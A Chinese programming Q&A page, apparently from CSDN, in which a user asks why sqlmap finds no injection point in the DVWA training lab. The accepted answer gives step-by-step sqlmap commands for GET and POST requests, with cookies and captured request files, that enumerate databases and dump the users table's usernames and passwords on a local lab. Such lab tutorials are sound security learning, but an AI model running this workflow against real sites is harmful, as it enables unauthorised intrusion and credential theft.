我用sqlmap对dvwa靶场进行测试,但它说没有注入点?可这是靶场啊也是low级别为啥会没有,有人能告诉我吗,详细可看图
![](https://profile-avatar.csdnimg.cn/49ade0c1891d49809f3603508c714c45_a126976.jpg!4)
sqlmap使用问题
- 写回答
- 好问题 0 提建议
- 追加酬金
- 关注问题
- 邀请回答
-
1条回答 默认 最新
关注
- 建议你看下这篇博客👉 :1、渗透之利用sqlmap对dvwa进行sql注入
- 除此之外, 这篇博客: sqlmap在windows上执行sql注入,利用dvwa靶场中的 sqlmap在windows上执行sql注入,利用dvwa靶场 部分也许能够解决你的问题, 你可以仔细阅读以下内容或跳转源博客中阅读:
1.首先你要安装好sqlmap并且配置好坏境,不知道的百度搜索吧,还是比较简单的。
2.先安利一个博主手工注入的博客吧,建议学的时候先手工注入明白原理,体验一下痛楚,哈哈哈哈。
https://blog.csdn.net/qq_36119192/category_8345945.html
3.接下来我分享一下我的sqlmap注入过程··1网上很多都是在kali linux上执行的,但是别人建议新手小白先不要用这个,所以我就在windows上执行的/
··2 windows+r打开命令窗口,将路径切换到sqlmap的安装路径下,我的路径在D 盘,仅作参考。接下来的语句在这里输入就可以了。
sqlmap文件夹打开差不多是这样的
3.从dvwa的sql injection low级别开始吧【盲注一样】
用sqlmap注入的好处好像有几个特别明显的,无论是普通的注入还是盲注,语句方法都一样,只要区分是get型还是post型,还可以避免后端代码的一些过滤函数。
先输入个1试一下,看见地址栏的变化,很快就可以知道是get型,或者点击右下角的views source查看后端代码也可以看出是get型。
get 型(不管是普通注入还是盲注都一样) 方法一: 1.python sqlmap.py -u "url" --dbs 2.python sqlmap.py -u "url" --current-db 3.python sqlmap.py -u "url" -D 数据库名 --tables 4.python sqlmap.py -u "url" -D 数据库名 -T 表名 --columns 5.python sqlmap.py -u "url" -D 数据库名 -T 表名 -C 列名1,列名2 --dump 方法二:【加上cookie的,好像不怎么用,先用bp抓吧,将cookie值加上即可】 1.1.python sqlmap.py -u "url" --cookie ""--dbs 其他步骤都一样
严格按照上面的代码就可以实现注入了。没有引号的地方不要擅自加上引号,大小写严格区分。
我这里放一下我自己执行的语句吧,1.python sqlmap.py -u "http://127.0.0.1/DVWA-master/DVWA-master/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie "security=low; PHPSESSID=---------"--dbs
其他的就按照这条语句把后面的改一下就好了,不要复制我的url,可能安装的路径不一样。
、、至于方法二中的cookie是因为有些网站有网页的跳转什么的,获取cookie的方法,用burpsuite抓包就可以看到cookie。这个题目就需要加上cookie才能得到注入结果。在注入过程中,需要恢复y\n之类的,一般填y就可以,如果你不想麻烦,在语句的最后加上 --batch 就可以实现全自动。4.接下来讲一下dvwa 的medium级别
先输入个1试一下,看见地址栏无变化,很快就可以知道是post型,或者点击右下角的views source查看后端代码也可以看出是post型。
post 型(不管是普通注入还是盲注都一样)【好像还可以忽略是数字型还是字符型】 方法一:【--data ""】【不行时需要加上--cookie ""在--data ""后面】 1.python sqlmap.py -u "url" --data "id=1&Submit=Submit" --dbs 【--data后面的内容是post提交时的内容,可以用BP抓包查看】 2.python sqlmap.py -u "url" --data "id=1&Submit=Submit" --current-db 3.python sqlmap.py -u "url" --data "id=1&Submit=Submit" -D dvwa --tables 4.python sqlmap.py -u "url" --data "id=1&Submit=Submit" -D dvwa -T users --columns 5.python sqlmap.py -u "url" --data "id=1&Submit=Submit" -D dvwa -T users -C user,password --dump 方法二:【-r 文件路径】需要先用BP抓包,然后右键copy to file存起来, 1.python sqlmap.py -r sqlmapExperiment/5.txt --dbs 2.python sqlmap.py -r sqlmapExperiment/5.txt --current-db 3.python sqlmap.py -r sqlmapExperiment/5.txt -D dvwa --tables 4.python sqlmap.py -r sqlmapExperiment/5.txt -D dvwa -T users --columns 5.python sqlmap.py -r sqlmapExperiment/5.txt -D dvwa -T users -C user,password --dump
方法一就不详细讲了,没什么特别的,讲一下方法二的文件吧。
1.用bp抓包,然后右键选择copy to file,存起来,-r 后面的是文件路径
看一下我的文件路径我这里在sqlmap文件夹里建了一个sqlmapExperiment来存储文件。
讲一下用bp的存储过程
点进去之后自己找路径存下,一般的可以直接存储在sqlmap文件夹下,也可以像我一样建一个文件夹专门存储这个,所以-r 后面的相对路径会不同。
就先讲到这里吧,有问题的可以私信。欢迎大家提意见。
本回答被题主选为最佳回答 , 对您是否有帮助呢?解决 无用评论 打赏 举报
悬赏问题
- ¥20 python忆阻器数字识别
- ¥15 无法输出helloworld
- ¥15 高通uboot 打印ubi init err 22
- ¥20 PDF元数据中的XMP媒体管理属性
- ¥15 R语言中lasso回归报错
- ¥15 网站突然不能访问了,上午还好好的
- ¥15 有没有dl可以帮弄”我去图书馆”秒选道具和积分
- ¥15 semrush,SEO,内嵌网站,api
- ¥15 Stata:为什么reghdfe后的因变量没有被发现识别啊
- ¥15 振荡电路,ADS仿真